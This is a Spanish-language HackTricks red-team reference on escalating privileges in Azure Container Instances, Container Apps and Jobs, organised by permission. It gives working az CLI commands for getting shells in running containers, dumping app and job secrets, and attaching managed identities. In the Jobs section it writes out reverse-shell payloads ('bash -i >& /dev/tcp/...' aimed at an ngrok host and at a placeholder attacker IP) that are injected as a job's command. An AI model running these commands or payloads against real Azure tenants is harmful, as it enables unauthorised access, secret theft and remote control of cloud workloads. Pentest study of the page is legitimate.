Az - Azure Container Instances, Apps & Jobs Privesc

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Azure Container Instances, Apps & Jobs

Para m谩s informaci贸n, consulta:

Az - Container Instances, Apps & Jobs

ACI

Microsoft.ContainerInstance/containerGroups/read, Microsoft.ContainerInstance/containerGroups/containers/exec/action

Estos permisos permiten al usuario ejecutar un comando en un contenedor en ejecuci贸n. Esto se puede utilizar para escalar privilegios en el contenedor si tiene alguna identidad administrada adjunta. Por supuesto, tambi茅n es posible acceder al c贸digo fuente y a cualquier otra informaci贸n sensible almacenada dentro del contenedor.

Obtener un shell es tan simple como:

az container exec --name <container-name> --resource-group <res-group>  --exec-command '/bin/sh'

Tambi茅n es posible leer la salida del contenedor con:

az container attach --name <container-name> --resource-group <res-group>

O obtener los registros con:

az container logs --name <container-name> --resource-group <res-group>

Microsoft.ContainerInstance/containerGroups/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Estos permisos permiten adjuntar una identidad administrada por el usuario a un grupo de contenedores. Esto es muy 煤til para escalar privilegios en el contenedor.

Para adjuntar una identidad administrada por el usuario a un grupo de contenedores:

az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"

Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.ContainerInstance/containerGroups/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Estos permisos permiten crear o actualizar un grupo de contenedores con una identidad administrada por el usuario adjunta a 茅l. Esto es muy 煤til para escalar privilegios en el contenedor.

az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0

Adem谩s, tambi茅n es posible actualizar un grupo de contenedores existente a帽adiendo, por ejemplo, el argumento --command-line con un shell inverso.

ACA

Microsoft.App/containerApps/read, Microsoft.App/managedEnvironments/read, microsoft.app/containerapps/revisions/replicas, Microsoft.App/containerApps/revisions/read, Microsoft.App/containerApps/getAuthToken/action

Estos permisos permiten al usuario obtener un shell en un contenedor de aplicaci贸n en ejecuci贸n. Esto se puede utilizar para escalar privilegios en el contenedor si tiene alguna identidad administrada adjunta. Por supuesto, tambi茅n es posible acceder al c贸digo fuente y a cualquier otra informaci贸n sensible almacenada dentro del contenedor.

az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>

Microsoft.App/containerApps/listSecrets/action

Este permiso permite obtener el texto claro de los secretos configurados dentro de una aplicaci贸n de contenedor. Tenga en cuenta que los secretos se pueden configurar con el texto claro o con un enlace a un key vault (en tal caso, la aplicaci贸n tendr谩 asignada una identidad administrada con acceso a los secretos).

az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>

Microsoft.App/containerApps/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Estos permisos permiten adjuntar una identidad administrada por el usuario a una aplicaci贸n de contenedor. Esto es muy 煤til para escalar privilegios en el contenedor. Ejecutar esta acci贸n desde el az cli tambi茅n requiere el permiso Microsoft.App/containerApps/listSecrets/action.

Para adjuntar una identidad administrada por el usuario a un grupo de contenedores:

az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName

Microsoft.App/containerApps/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action

Estos permisos permiten crear o actualizar un contenedor de aplicaci贸n con una identidad administrada por el usuario adjunta a 茅l. Esto es muy 煤til para escalar privilegios en el contenedor.

# Get environments
az containerapp env list --resource-group Resource_Group_1

# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"

Tip

Tenga en cuenta que con estos permisos se pueden modificar otras configuraciones de la aplicaci贸n, lo que podr铆a permitir realizar otros ataques de privesc y post explotaci贸n dependiendo de la configuraci贸n de las aplicaciones existentes.

Jobs

Microsoft.App/jobs/read, Microsoft.App/jobs/write

Aunque los trabajos no son de larga duraci贸n como las aplicaciones de contenedor, puede aprovechar la capacidad de anular la configuraci贸n del comando del trabajo al iniciar una ejecuci贸n. Al crear una plantilla de trabajo personalizada (por ejemplo, reemplazando el comando predeterminado con un shell inverso), puede obtener acceso a la shell dentro del contenedor que ejecuta el trabajo.

# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml

# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the container鈥檚 command to:
#  - args:
#      - -c
#      - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
#      command:
#      - /bin/bash
#      image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest

# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml

# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml

Microsoft.App/jobs/read, Microsoft.App/jobs/listSecrets/action

Si tienes estos permisos, puedes listar todos los secretos (primer permiso) dentro de un contenedor de Job y luego leer los valores de los secretos configurados.

az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>

Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/jobs/write

Si tienes permiso para modificar la configuraci贸n de un trabajo, puedes adjuntar una identidad administrada asignada por el usuario. Esta identidad puede tener privilegios adicionales (por ejemplo, acceso a otros recursos o secretos) que pueden ser abusados para escalar privilegios dentro del contenedor.

az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>

Microsoft.App/managedEnvironments/read, Microsoft.App/jobs/write, Microsoft.App/managedEnvironments/join/action, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Si puedes crear un nuevo trabajo de Container Apps (o actualizar uno existente) y adjuntar una identidad administrada, puedes dise帽ar el trabajo para ejecutar una carga 煤til que escale privilegios. Por ejemplo, podr铆as crear un nuevo trabajo que no solo ejecute un shell inverso, sino que tambi茅n utilice las credenciales de la identidad administrada para solicitar tokens o acceder a otros recursos.

az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"

Tip

Este comando generar谩 un error si no tienes el permiso Microsoft.App/jobs/read, aunque el trabajo ser谩 creado.

microsoft.app/jobs/start/action, microsoft.app/jobs/read

Parece que con estos permisos deber铆a ser posible iniciar un trabajo. Esto podr铆a usarse para iniciar un trabajo con un shell inverso o cualquier otro comando malicioso sin necesidad de modificar la configuraci贸n del trabajo.

No he logrado hacerlo funcionar, pero seg煤n los par谩metros permitidos, deber铆a ser posible.

Microsoft.ContainerInstance/containerGroups/restart/action

Permite reiniciar un grupo de contenedores espec铆fico dentro de Azure Container Instances.

az container restart --resource-group <resource-group> --name <container-instances>

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks